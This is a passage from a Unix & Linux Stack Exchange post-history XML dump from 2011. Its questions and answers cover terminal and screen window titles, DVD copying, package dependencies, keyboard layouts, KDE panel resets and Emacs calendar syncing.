`preexec`.&#xD;&#xA;&#xD;&#xA;Why not change it to this:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       echo -n &quot;\ek${TITLE:-$CMD}\e\\&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then you can set a custom title by running:&#xD;&#xA;&#xD;&#xA;    TITLE=&quot;my title&quot;&#xD;&#xA;&#xD;&#xA;and unset the title by running&#xD;&#xA;&#xD;&#xA;    TITLE=&#xD;&#xA;&#xD;&#xA;Don't forget to change `precmd` and `$PS1` as well if necessary.&#xD;&#xA;&#xD;&#xA;**ASIDE**&#xD;&#xA;&#xD;&#xA;You could even extend this to all terminals (e.g. `xterm`, `gnome-terminal`, etc.) by not hard coding the `\ek` and `\e\\`.&#xD;&#xA;&#xD;&#xA;This is how I do it:&#xD;&#xA;&#xD;&#xA;    terminit()&#xD;&#xA;    {&#xD;&#xA;        # determine the window title escape sequences&#xD;&#xA;        case &quot;$TERM&quot; in&#xD;&#xA;        aixterm|dtterm|putty|rxvt|xterm*)&#xD;&#xA;            titlestart='\033]0;'&#xD;&#xA;            titlefinish='\007'&#xD;&#xA;            ;;&#xD;&#xA;        cygwin)&#xD;&#xA;            titlestart='\033];'&#xD;&#xA;            titlefinish='\007'&#xD;&#xA;            ;;&#xD;&#xA;        konsole)&#xD;&#xA;            titlestart='\033]30;'&#xD;&#xA;            titlefinish='\007'&#xD;&#xA;            ;;&#xD;&#xA;        screen*)&#xD;&#xA;            # status line&#xD;&#xA;            #titlestart='\033_'&#xD;&#xA;            #titlefinish='\033\'&#xD;&#xA;            # window title&#xD;&#xA;            titlestart='\033k'&#xD;&#xA;            titlefinish='\033\'&#xD;&#xA;            ;;&#xD;&#xA;        *)&#xD;&#xA;            if type tput &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;            then&#xD;&#xA;                if tput longname &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;                then&#xD;&#xA;                    titlestart=&quot;$(tput tsl)&quot;&#xD;&#xA;                    titlefinish=&quot;$(tput fsl)&quot;&#xD;&#xA;                fi&#xD;&#xA;            else&#xD;&#xA;                titlestart=''&#xD;&#xA;                titlefinish=''&#xD;&#xA;            fi&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # or put it inside a case $- in *i* guard&#xD;&#xA;    if test -t 0; then&#xD;&#xA;        terminit&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    # set the xterm/screen/etc. title&#xD;&#xA;    settitle()&#xD;&#xA;    {&#xD;&#xA;        test -z &quot;${titlestart}&quot; &amp;&amp; return 0&#xD;&#xA;&#xD;&#xA;        printf &quot;${titlestart}$*${titlefinish}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then you can change your `preexec` to:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       settitle &quot;${TITLE:-$CMD}&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/gnu/doc/html/screen_9.html#SEC37&#xD;&#xA;  [2]: http://aperiodic.net/screen/faq#how_can_screen_use_xterm_s_title_bar" />
  <row Id="17433" PostHistoryTypeId="2" PostId="7489" RevisionGUID="29beca24-e70f-4626-bb68-c6bebe1905be" CreationDate="2011-02-15T23:12:55.100" UserId="4799" Text="How to create copy of DVD, which ISO image size is larger than maximum size of file on filesystem?  There is only one DVD drive. " />
  <row Id="17434" PostHistoryTypeId="1" PostId="7489" RevisionGUID="29beca24-e70f-4626-bb68-c6bebe1905be" CreationDate="2011-02-15T23:12:55.100" UserId="4799" Text="How to create a copy of DVD that is larger than maximum size of file on filesystem?" />
  <row Id="17435" PostHistoryTypeId="3" PostId="7489" RevisionGUID="29beca24-e70f-4626-bb68-c6bebe1905be" CreationDate="2011-02-15T23:12:55.100" UserId="4799" Text="édvdàécdà" />
  <row Id="17436" PostHistoryTypeId="2" PostId="7490" RevisionGUID="fe8112f6-9787-4ee8-b778-c86b1c655fca" CreationDate="2011-02-15T23:20:37.337" UserId="885" Text="As long as you don't mind that the intermediate storage won't be usable as such:&#xD;&#xA;&#xD;&#xA;    split -b 1024m /dev/dvd iso-pieces.&#xD;&#xA;    # Pop out original, pop in blank&#xD;&#xA;    cat iso-pieces.* | growisofs -Z /dev/dvd=/dev/stdin&#xD;&#xA;" />
  <row Id="17437" PostHistoryTypeId="25" PostId="7487" RevisionGUID="79e59d95-c2e6-4124-8974-063127516e6f" CreationDate="2011-02-15T23:22:48.427" Comment="http://twitter.com/#!/StackUnix/status/37653080346464256" />
  <row Id="17438" PostHistoryTypeId="2" PostId="7491" RevisionGUID="50a834ad-7054-4122-8e0f-9e0f4648df2f" CreationDate="2011-02-15T23:24:11.487" UserId="4142" Text="On a modern Fedora, run &#xD;&#xA;&#xD;&#xA;    repoquery  --tree-requires vim-minimal&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    repoquery  --tree-requires vim-enhanced&#xD;&#xA;&#xD;&#xA;to get a recursive list of packages on which your specified package depends, in a nice tree format.&#xD;&#xA;&#xD;&#xA;Note that vim-minimal only installs /bin/vi with no modern enhancements nor online help, for use when only the root partition is available. I guess you want vim-enhanced or vim-X11.&#xD;&#xA;&#xD;&#xA;If you only want a list of the direct dependencies, you could run&#xD;&#xA;&#xD;&#xA;    repoquery --requires --resolve vim-enhanced&#xD;&#xA;&#xD;&#xA;to get the packages list or&#xD;&#xA;&#xD;&#xA;    repoquery --requires vim-enhanced &#xD;&#xA;&#xD;&#xA;to get the required capabilities." />
  <row Id="17439" PostHistoryTypeId="2" PostId="7492" RevisionGUID="d9777f60-1fa4-4795-846a-f3fd19185bb2" CreationDate="2011-02-15T23:46:57.040" UserId="885" Text="Set the [`title` option](http://vimdoc.sourceforge.net/htmldoc/options.html#'titlestring'). This works out of the box for me in xterm and the like but not in screen. [This tip works](http://vim.wikia.com/wiki/Automatically_set_screen_title):&#xD;&#xA;&#xD;&#xA;    if &amp;term == &quot;screen&quot;&#xD;&#xA;      set t_ts=&quot;\ek&quot;&#xD;&#xA;      set t_fs=&quot;\e\\&quot;&#xD;&#xA;      set title&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;A different approach is to write a `preexec` function in your shell that sets the window title to the command being run. Zsh supports `preexec` natively, and [bash can do it too](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command). [Here's a zsh example](http://unix.stackexchange.com/questions/7380/force-title-on-gnu-screen).&#xD;&#xA;" />
  <row Id="17440" PostHistoryTypeId="6" PostId="7456" RevisionGUID="3fa8730e-c97d-4f8d-823f-b20568e3b340" CreationDate="2011-02-15T23:47:25.650" UserId="885" Comment="edited tags" Text="éterminalàévimàéscreenà" />
  <row Id="17441" PostHistoryTypeId="4" PostId="7487" RevisionGUID="e5578249-e4f6-43e0-a027-3586fd44e5a1" CreationDate="2011-02-16T00:41:48.017" UserId="48" Comment="edited title" Text="Why is the US international keyboard layout on Debian/Ubuntu different?" />
  <row Id="17442" PostHistoryTypeId="17" PostId="7494" RevisionGUID="2ea505e6-9e63-4b93-91da-0ea966a6ab58" CreationDate="2011-02-16T00:54:18.787" UserId="-1" Comment="from http://askubuntu.com/questions/25325/why-is-the-us-international-keyboard-layout-on-ubuntu-different/25335#25335" Text="" />
  <row Id="17443" PostHistoryTypeId="2" PostId="7494" RevisionGUID="70f19ecc-7bde-4a84-a6d1-e17559ac01c0" CreationDate="2011-02-08T21:20:50.507" UserDisplayName="Vítor Souza" Text="From http://disi.unitn.it/~vitorsouza/linux/ubuntu-linux-10-10-maverick-meerkat/ and http://disi.unitn.it/~vitorsouza/linux/ubuntu-linux-10-04-lucid-lynx/:&#xD;&#xA;&#xD;&#xA;**Problem with cedilla:**&#xD;&#xA;&#xD;&#xA;Some nice fellow decided that an accented c (“ć”) is more importante than the c with a cedilla (“ç”), so the default behavior for pressing ‘ + c in international keyboards with deadkeys is now “ć”. Since I’m Brazilian and not Romanian or something, that definetly bothers me. ‘ + c used to output “ç” once upon a time.&#xD;&#xA;&#xD;&#xA;To fix it, edit as root the file */usr/lib/gtk-2.0/2.10.0/gtk.immodules*, find this line:&#xD;&#xA;&#xD;&#xA;    &quot;cedilla&quot; &quot;Cedilla&quot; &quot;gtk20&quot; &quot;/usr/share/locale&quot; &quot;az:ca:co:fr:gv:oc:pt:sq:tr:wa&quot;&#xD;&#xA;&#xD;&#xA;And add :en after :wa, so it looks like this:&#xD;&#xA;&#xD;&#xA;    &quot;cedilla&quot; &quot;Cedilla&quot; &quot;gtk20&quot; &quot;/usr/share/locale&quot; &quot;az:ca:co:fr:gv:oc:pt:sq:tr:wa:en&quot;&#xD;&#xA;&#xD;&#xA;To fix it also for non-GTK applications, edit as root the file */usr/share/X11/locale/en_US.UTF-8/Compose* and change all instances of  ć with ç, and all instances of Ć with Ç.&#xD;&#xA;&#xD;&#xA;You might need to repeat one or both operations from time to time, when you upgrade your system and it takes the configuration files back to their original contents.&#xD;&#xA;" />
  <row Id="17444" PostHistoryTypeId="2" PostId="7493" RevisionGUID="54d4153c-8c5f-4f6c-a4d1-a08da7d8d21a" CreationDate="2011-02-08T20:22:57.447" UserId="48" Text="I have been using Linux on and off for 10 years, and more recently I have spent more time with OSX. &#xD;&#xA;&#xD;&#xA;But, I still remember that in the beginning I'd choose the US international keyboard layout and it would have exactly the same output as the Windows keyboard layout (and most recently, the OSX US international layout).&#xD;&#xA;&#xD;&#xA;However, a few years ago when I installed Ubuntu, I noticed that the cedilla wasn't printed anymore (ç or Ç). This is a combination of the following keys: ' + c. Instead, what I get is the ć letter. &#xD;&#xA;&#xD;&#xA;When did it start to happen, and why the difference to the behavior on the other OSes? What puzzles me even more is that there is even an &quot;US International alternative&quot; keyboard layout, which prints exactly the same keys! So, what's it alternative to?&#xD;&#xA;&#xD;&#xA;This has been reported as a bug back to Canonical (can't find the link now), but the keyboard layout has never changed back to what I'd expect. I know the workarounds to fix it to what I need, but I just would like to know why/when it has become different." />
  <row Id="17445" PostHistoryTypeId="1" PostId="7493" RevisionGUID="54d4153c-8c5f-4f6c-a4d1-a08da7d8d21a" CreationDate="2011-02-08T20:22:57.447" UserId="48" Text="Why is the US international keyboard layout on Ubuntu different?" />
  <row Id="17446" PostHistoryTypeId="3" PostId="7493" RevisionGUID="54d4153c-8c5f-4f6c-a4d1-a08da7d8d21a" CreationDate="2011-02-08T20:22:57.447" UserId="48" Text="éuntaggedà" />
  <row Id="17447" PostHistoryTypeId="17" PostId="7493" RevisionGUID="cd732502-0abb-4915-a751-df877927a72c" CreationDate="2011-02-16T00:54:18.787" UserId="-1" Comment="from http://askubuntu.com/questions/25325/why-is-the-us-international-keyboard-layout-on-ubuntu-different" Text="" />
  <row Id="17448" PostHistoryTypeId="5" PostId="7493" RevisionGUID="7ea4c045-5d44-4fb3-b2f0-14e91e8ed9a3" CreationDate="2011-02-16T00:59:03.877" UserId="73" Comment="added 163 characters in body; edited tags; edited title" Text="**Edit**: I realized that the &quot;problem&quot; was not only in Ubuntu but in Debian itself and Ubuntu just inherited it, so I had this migrated from Ask Ubuntu&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I have been using Linux on and off for 10 years, and more recently I have spent more time with OSX. &#xD;&#xA;&#xD;&#xA;But, I still remember that in the beginning I'd choose the US international keyboard layout and it would have exactly the same output as the Windows keyboard layout (and most recently, the OSX US international layout).&#xD;&#xA;&#xD;&#xA;However, a few years ago when I installed Ubuntu, I noticed that the cedilla wasn't printed anymore (ç or Ç). This is a combination of the following keys: ' + c. Instead, what I get is the ć letter. &#xD;&#xA;&#xD;&#xA;When did it start to happen, and why the difference to the behavior on the other OSes? What puzzles me even more is that there is even an &quot;US International alternative&quot; keyboard layout, which prints exactly the same keys! So, what's it alternative to?&#xD;&#xA;&#xD;&#xA;This has been reported as a bug back to Canonical (can't find the link now), but the keyboard layout has never changed back to what I'd expect. I know the workarounds to fix it to what I need, but I just would like to know why/when it has become different." />
  <row Id="17449" PostHistoryTypeId="4" PostId="7493" RevisionGUID="7ea4c045-5d44-4fb3-b2f0-14e91e8ed9a3" CreationDate="2011-02-16T00:59:03.877" UserId="73" Comment="added 163 characters in body; edited tags; edited title" Text="Why is the US international keyboard layout on Debian different?" />
  <row Id="17450" PostHistoryTypeId="6" PostId="7493" RevisionGUID="7ea4c045-5d44-4fb3-b2f0-14e91e8ed9a3" CreationDate="2011-02-16T00:59:03.877" UserId="73" Comment="added 163 characters in body; edited tags; edited title" Text="édebianàékeyboardà" />
  <row Id="17451" PostHistoryTypeId="18" PostId="7487" RevisionGUID="58e91425-0661-435f-b24e-64a0715c95f9" CreationDate="2011-02-16T00:59:27.637" UserId="73" Comment="to http://unix.stackexchange.com/questions/7493/why-is-the-us-international-keyboard-layout-on-debian-different" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17452" PostHistoryTypeId="18" PostId="7493" RevisionGUID="58e91425-0661-435f-b24e-64a0715c95f9" CreationDate="2011-02-16T00:59:27.637" UserId="73" Comment="from http://unix.stackexchange.com/questions/7487/why-is-the-us-international-keyboard-layout-on-debian-ubuntu-different" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17453" PostHistoryTypeId="14" PostId="7487" RevisionGUID="aaba19f4-cd87-4c09-8df2-f2bb42cdf141" CreationDate="2011-02-16T00:59:28.010" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17454" PostHistoryTypeId="5" PostId="7487" RevisionGUID="3c2d38d1-776a-4c88-a3a4-69b2571c0b56" CreationDate="2011-02-16T01:25:20.880" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why is the US international keyboard layout on Debian different?](http://unix.stackexchange.com/questions/7493/why-is-the-us-international-keyboard-layout-on-debian-different)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I asked this [question][1] on askubuntu.com recently but I was not satisfied with any answer. &#xD;&#xA;&#xD;&#xA;I realized that the &quot;problem&quot; was not only in Ubuntu but in Debian itself and Ubuntu just inherited it and now I decided to try my luck here to a broader audience.&#xD;&#xA;&#xD;&#xA;So, if you don't want to click the link, here is what I'd like to know:&#xD;&#xA;&#xD;&#xA;&gt; I have been using Linux on and off for 10 years, and more recently I have spent more time with OSX.&#xD;&#xA;&#xD;&#xA;&gt; But, I still remember that in the beginning I'd choose the US international keyboard layout and it would have exactly the same output as the Windows keyboard layout (and most recently, the OSX US international layout).&#xD;&#xA;&#xD;&#xA;&gt; However, a few years ago when I installed Ubuntu, I noticed that the cedilla wasn't printed anymore (ç or Ç). This is a combination of the following keys: ' + c. Instead, what I get is the ć letter.&#xD;&#xA;&#xD;&#xA;&gt; When did it start to happen, and why the difference to the behavior on the other OSes? What puzzles me even more is that there is even an &quot;US International alternative&quot; keyboard layout, which prints exactly the same keys! So, what's it alternative to?&#xD;&#xA;&#xD;&#xA;&gt; This has been reported as a bug back to Canonical (can't find the link now), but the keyboard layout has never changed back to what I'd expect. I know the workarounds to fix it to what I need, but I just would like to know why/when it has become different.&#xD;&#xA;&#xD;&#xA;[1]: http://askubuntu.com/questions/25325/why-is-the-us-international-keyboard-layout-on-ubuntu-different" />
  <row Id="17455" PostHistoryTypeId="10" PostId="7487" RevisionGUID="6fc8427a-5304-4535-b60c-528f0c65197f" CreationDate="2011-02-16T01:25:20.753" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17456" PostHistoryTypeId="25" PostId="7489" RevisionGUID="002a8cd0-662d-4567-91f5-2bb0c1dcffe6" CreationDate="2011-02-16T02:22:48.923" Comment="http://twitter.com/#!/StackUnix/status/37698379064688640" />
  <row Id="17461" PostHistoryTypeId="2" PostId="7496" RevisionGUID="859a6dd2-0756-4282-94f5-7e3d3f6fbcf8" CreationDate="2011-02-16T04:21:56.517" UserId="2562" Text="I'm not sure if hardware questions are alright here, I didn't see many. I am trying to install any Linux operating system on an [eBox 3300][1]. I am having trouble, and the only thing I have been able to get to work is Ubuntu's Netbook Remix. I would rather have fedora/ Debian/ or just about anything else. &#xD;&#xA;&#xD;&#xA;What I really want to know is has anybody here encountered one of these devices and/or used them yourself? If so, what steps did you take to get it going?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wdlsystems.com/modperl/view_services.cgi?r=detail&amp;prod_num=1EB3MXC&amp;aisle_id=1313" />
  <row Id="17462" PostHistoryTypeId="1" PostId="7496" RevisionGUID="859a6dd2-0756-4282-94f5-7e3d3f6fbcf8" CreationDate="2011-02-16T04:21:56.517" UserId="2562" Text="*nix working on eBox 3300" />
  <row Id="17463" PostHistoryTypeId="3" PostId="7496" RevisionGUID="859a6dd2-0756-4282-94f5-7e3d3f6fbcf8" CreationDate="2011-02-16T04:21:56.517" UserId="2562" Text="édebianàéfedoraàéhardwareà" />
  <row Id="17464" PostHistoryTypeId="2" PostId="7497" RevisionGUID="4516e5b2-9f16-423f-9adf-7ecce24f499c" CreationDate="2011-02-16T04:30:40.820" UserId="1535" Text="`apt-get`, as well as the various companion tools, use significantly less memory than respective command-line invocations of `aptitude`, and are a bit quicker.  I was blissfully unaware of this until I tried upgrading the debian install on a wizened old pentium thinkpad with 32MB of ram.  It would take an hour or two of swap-thrashing to run apt-get; `aptitude` would fail after I think a longer period of time.&#xD;&#xA;&#xD;&#xA;This distinction is more or less irrelevant on anything resembling a modern desktop system." />
  <row Id="17465" PostHistoryTypeId="25" PostId="7466" RevisionGUID="f1b68cf3-509f-449c-92c1-a64c1dd28b20" CreationDate="2011-02-16T05:22:48.897" Comment="http://twitter.com/#!/StackUnix/status/37743677996539904" />
  <row Id="17466" PostHistoryTypeId="2" PostId="7498" RevisionGUID="5635e442-a276-4776-a4ce-e60cec81662a" CreationDate="2011-02-16T05:22:57.993" UserId="4807" Text="I accidentally hid the bottom panel and created another panel on the right side of the screen. That panel is on top of the button to show the bottom panel again. The panel on the right is unclickable and I cant figure out how to delete it.&#xD;&#xA;&#xD;&#xA;Is there some config file i can edit to delete that panel?&#xD;&#xA;Can i reset my desktop to default settings?&#xD;&#xA;&#xD;&#xA;Thanks, giodamelio" />
  <row Id="17467" PostHistoryTypeId="1" PostId="7498" RevisionGUID="5635e442-a276-4776-a4ce-e60cec81662a" CreationDate="2011-02-16T05:22:57.993" UserId="4807" Text="Backtrack panels issue." />
  <row Id="17468" PostHistoryTypeId="3" PostId="7498" RevisionGUID="5635e442-a276-4776-a4ce-e60cec81662a" CreationDate="2011-02-16T05:22:57.993" UserId="4807" Text="ékdeà" />
  <row Id="17470" PostHistoryTypeId="2" PostId="7500" RevisionGUID="0b7030c8-315e-4a65-a0be-c9cb0e64e033" CreationDate="2011-02-16T05:42:47.303" UserId="3127" Text="I'm uncertain that I'm properly understanding your question, but on my system if a usb device is plugged in but not mounted I can 'see it' by &#xD;&#xA;&#xD;&#xA;&gt; $&gt; fdisk -l&#xD;&#xA;&#xD;&#xA;That tells me what device it's associated with (i.e. /dev/sdd1 or something), then I manually mount it." />
  <row Id="17471" PostHistoryTypeId="2" PostId="7501" RevisionGUID="e427a3b0-f07b-49d7-ac70-511aa56a3d72" CreationDate="2011-02-16T05:49:10.683" UserId="3127" Text="I'm not sure, but I think that was talked about and successfully done by one of the folks on the org-mode mailing list (emacs-orgmode@gnu.org iirc)." />
  <row Id="17472" PostHistoryTypeId="6" PostId="7498" RevisionGUID="7c0bf075-125e-4bf2-923f-6fd0b725eeb5" CreationDate="2011-02-16T06:32:13.663" UserId="4807" Comment="edited tags" Text="ékdeàédesktopöenvironmentà" />
  <row Id="17473" PostHistoryTypeId="2" PostId="7502" RevisionGUID="a57b66b9-32fe-443b-bd1f-2f926fd2674b" CreationDate="2011-02-16T06:46:20.120" UserId="3082" Text="Grub 2 is horrid. I threw it out and use extlinux (part of syslinux package) from now on. To answer your question, there is no easier way." />
  <row Id="17474" PostHistoryTypeId="2" PostId="7503" RevisionGUID="a636a10d-e3db-415b-ad29-80e98e35d916" CreationDate="2011-02-16T07:37:57.980" UserId="3956" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have an NFS share on an OpenBsd server. When I assess the share from my Ubuntu box I don't seem to have all permission eg write. Also copying a file from the NFS share to the Ubuntu machine can take &gt; 1 hour for a 44mb file. Any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="17475" PostHistoryTypeId="1" PostId="7503" RevisionGUID="a636a10d-e3db-415b-ad29-80e98e35d916" CreationDate="2011-02-16T07:37:57.980" UserId="3956" Text="NFS permissions and slow copy." />
  <row Id="17476" PostHistoryTypeId="3" PostId="7503" RevisionGUID="a636a10d-e3db-415b-ad29-80e98e35d916" CreationDate="2011-02-16T07:37:57.980" UserId="3956" Text="énfsàéopenbsdà" />
  <row Id="17477" PostHistoryTypeId="2" PostId="7504" RevisionGUID="6cef54c3-3fd2-4247-a7e9-715348807ebb" CreationDate="2011-02-16T07:41:27.570" UserId="4810" Text="For Google Calendar, I have a one way sync setup successfully. Emacs fetches my calendars at startup and transfers it in the emacs diary. This is then displayed by org-mode in the agenda, but you can set it up anyway you want.&#xD;&#xA;&#xD;&#xA;For sending back to Google Calendar, I have yet setup anything as I don't need it that much. However, I think it would be pretty easy to have a function that adds an entry in the diary and calls [googlecl][1] to add an entry in your google calendar.&#xD;&#xA;&#xD;&#xA;To fetch the calendars, I have the following in my .emacs (not that this is not my code, it comes from the org-mode mailing list, but I can't remember where I found it exactly):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    (setq mark-diary-entries-in-calendar t)&#xD;&#xA;    (defun getcal (url)&#xD;&#xA;      &quot;Download ics file and add to diary&quot;&#xD;&#xA;      (let ((tmpfile (url-file-local-copy url)))&#xD;&#xA;        (icalendar-import-file tmpfile &quot;~/diary&quot; t)&#xD;&#xA;        (kill-buffer (car (last (split-string tmpfile &quot;/&quot;))))&#xD;&#xA;        )&#xD;&#xA;      )&#xD;&#xA;    (setq google-calendars '(&#xD;&#xA;    						 &quot;http://www.google.com/calendar/ical/DFSDFSDFSDFASD/basic.ics&quot;&#xD;&#xA;    						 &quot;http://www.google.com/calendar/ical/SDFSADFSADFASD/basic.ics&quot;&#xD;&#xA;    						 ))&#xD;&#xA;    (defun getcals ()&#xD;&#xA;      (Find-file &quot;~/diary&quot;)&#xD;&#xA;      (flush-lines &quot;^[&amp; ]&quot;)&#xD;&#xA;      (dolist (url google-calendars) (getcal url))&#xD;&#xA;      (kill-buffer &quot;diary&quot;))&#xD;&#xA;&#xD;&#xA;Replace `&quot;http://www.google.com/calendar/ical/DFSDFSDFSDFASD/basic.ics&quot;` with the urls to the calendars you want to fetch (you find it at the bottom of the setup page of each calendar in google calendar). You can add as many as you wish.&#xD;&#xA;&#xD;&#xA;Now, you can just call `(getcals)` when you want to fetch the calendars. You can put this in your .emacs to do it at startup, but it might stall your startup.&#xD;&#xA;&#xD;&#xA;To have org-mode display the diary entries in the agenda, just add `(setq org-agenda-include-diary t)` in your .emacs. See the [org-mode manual][2] for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/googlecl/wiki/Manual#Calendar&#xD;&#xA;  [2]: http://orgmode.org/manual/Agenda-Views.html#Agenda-Views" />
  <row Id="17478" PostHistoryTypeId="5" PostId="7412" RevisionGUID="f43253c2-9f06-4334-9b94-a29582677f37" CreationDate="2011-02-16T08:21:49.390" UserId="885" Comment="emphasize that the question is not about mounting" Text="It is possible for a USB storage device to become logically disconnected: the device is still plugged in, but is invisible from the operating system (e.g. it's not listed under `/proc/bus/usb`). Maybe this can happen to other kinds of USB or other removable devices as well. This can happen for example:&#xD;&#xA;&#xD;&#xA;* [after Nautilus has unmounted a USB storage device](http://unix.stackexchange.com/questions/7051/how-to-re-mount-a-usb-stick-after-unmounting-from-nautilus-without-disconnecting);&#xD;&#xA;* after VirtualBox has claimed a USB storage device (the device disappears from the Linux host when it is attached in the guest, and does not automatically reappear if it is detached from the host).&#xD;&#xA;&#xD;&#xA;What is going on in the driver or in the hardware, and most importantly, (how) can the device be logically reconnected (without physically plugging it out and back in)?&#xD;&#xA;&#xD;&#xA;*Note that this question is not about mounting. In the “logically disconnected” state, the kernel believes there is nothing on the USB bus (and so of course there is no entry under `/dev`).*&#xD;&#xA;" />
  <row Id="17479" PostHistoryTypeId="25" PostId="7441" RevisionGUID="8b1f2642-2d47-4f33-bb5c-5789799ffc1d" CreationDate="2011-02-16T08:22:48.610" Comment="http://twitter.com/#!/StackUnix/status/37788975657648128" />
  <row Id="17480" PostHistoryTypeId="2" PostId="7505" RevisionGUID="28ad322b-4a89-436a-93bf-d645feaf00fe" CreationDate="2011-02-16T08:35:44.313" UserId="1267" Text="&#xD;&#xA;I am using Ubuntu 10.10 version. Recently i am finding this error. When i used to close the skype client then it used to go up to the desktop. ( The above panel where time and date are generally displayed.) Now when i am closing it get's closed and i don't know where it's located. Then when i try to sign in again it says Another Skype version is running. &#xD;&#xA;&#xD;&#xA;Any ideas on how to rectify this." />
  <row Id="17481" PostHistoryTypeId="1" PostId="7505" RevisionGUID="28ad322b-4a89-436a-93bf-d645feaf00fe" CreationDate="2011-02-16T08:35:44.313" UserId="1267" Text="Skype error in ubuntu 10.10" />
  <row Id="17482" PostHistoryTypeId="3" PostId="7505" RevisionGUID="28ad322b-4a89-436a-93bf-d645feaf00fe" CreationDate="2011-02-16T08:35:44.313" UserId="1267" Text="éubuntuà" />
  <row Id="17483" PostHistoryTypeId="2" PostId="7506" RevisionGUID="dadcb086-6610-443c-8c1f-c2f73601a296" CreationDate="2011-02-16T09:27:11.853" UserId="250" Text="If you don't mind losing customized settings, a sure-to-work way is to remove the KDE settings folder in your home:&#xD;&#xA;&#xD;&#xA;    rm -r ~/.kde&#xD;&#xA;&#xD;&#xA;For safety you should do that while not running KDE (from a console maybe)." />
  <row Id="17484" PostHistoryTypeId="5" PostId="7506" RevisionGUID="a3ebb882-c78b-4a62-8a37-2e5fafa28248" CreationDate="2011-02-16T09:36:52.593" UserId="250" Comment="include broken down config file" Text="You can remove the panel settings by deleting `~/.kde4/share/config/plasma-desktop-appletsrc`. I have tried moving the panel and deleting the file does restore the default settings.&#xD;&#xA;&#xD;&#xA;If that doesn't work you can try looking for the correct config file and delete it. Well-behaved applications should recreate the file with default settings.&#xD;&#xA;&#xD;&#xA;If you don't mind losing customized settings, a sure-to-work way is to remove the KDE settings folder `~/.kde`." />
  <row Id="17485" PostHistoryTypeId="2" PostId="7507" RevisionGUID="0bf11985-7502-43ff-9037-db69c3b9384f" CreationDate="2011-02-16T10:13:44.047" UserId="2343" Text="I've set up *emacs* to display line numbers `(global-linum-mode 1)`, and it works until I start enlarging the text via `text-scale-adjust`  &#xD;&#xA;&#xD;&#xA;The line numbers column starts to shrink, and disappears entirely after a few increments.  &#xD;&#xA;When it has fully disappeared, further increments have no more effect on the left edge.  &#xD;&#xA;&#xD;&#xA;Is this a know issue? Is there a workaround?  &#xD;&#xA;&#xD;&#xA;Using GNU Emacs 23.1.1 in Ubuntu 10.04 (and I'm an *emacs* newb).&#xD;&#xA;" />
  <row Id="17486" PostHistoryTypeId="1" PostId="7507" RevisionGUID="0bf11985-7502-43ff-9037-db69c3b9384f" CreationDate="2011-02-16T10:13:44.047" UserId="2343" Text="Emacs text-scale-adjust causes line numbers column to incrementally shrink and disappear." />
  <row Id="17487" PostHistoryTypeId="3" PostId="7507" RevisionGUID="0bf11985-7502-43ff-9037-db69c3b9384f" CreationDate="2011-02-16T10:13:44.047" UserId="2343" Text="éemacsà" />
  <row Id="17488" PostHistoryTypeId="2" PostId="7508" RevisionGUID="5d22685d-5ba5-4d0b-b893-c7da564fc4df" CreationDate="2011-02-16T10:20:46.877" UserId="4355" Text="You might accidentaly have removed the &quot;system tray&quot; from the top panel. Do other applications still show their icons at the top?" />
  <row Id="17489" PostHistoryTypeId="2" PostId="7509" RevisionGUID="a9de1c14-bb24-4081-b114-718e2461bbbd" CreationDate="2011-02-16T10:31:01.377" UserId="4814" Text="Hello,&#xD;&#xA;&#xD;&#xA;I currently use KRDC on CentOS, but mouse pointer is a little slow and I'm sure that this is not caused by my internet line speed, because on windows RDP client works everything fine...&#xD;&#xA;&#xD;&#xA;Can someone tell me which RDP client is the best choice on CentOS or any other linux os?&#xD;&#xA;&#xD;&#xA;BR, Wolfy" />
  <row Id="17490" PostHistoryTypeId="1" PostId="7509" RevisionGUID="a9de1c14-bb24-4081-b114-718e2461bbbd" CreationDate="2011-02-16T10:31:01.377" UserId="4814" Text="Best RDP client on linux" />
  <row Id="17491" PostHistoryTypeId="3" PostId="7509" RevisionGUID="a9de1c14-bb24-4081-b114-718e2461bbbd" CreationDate="2011-02-16T10:31:01.377" UserId="4814" Text="ésoftwareörecàécentosàéremoteà" />
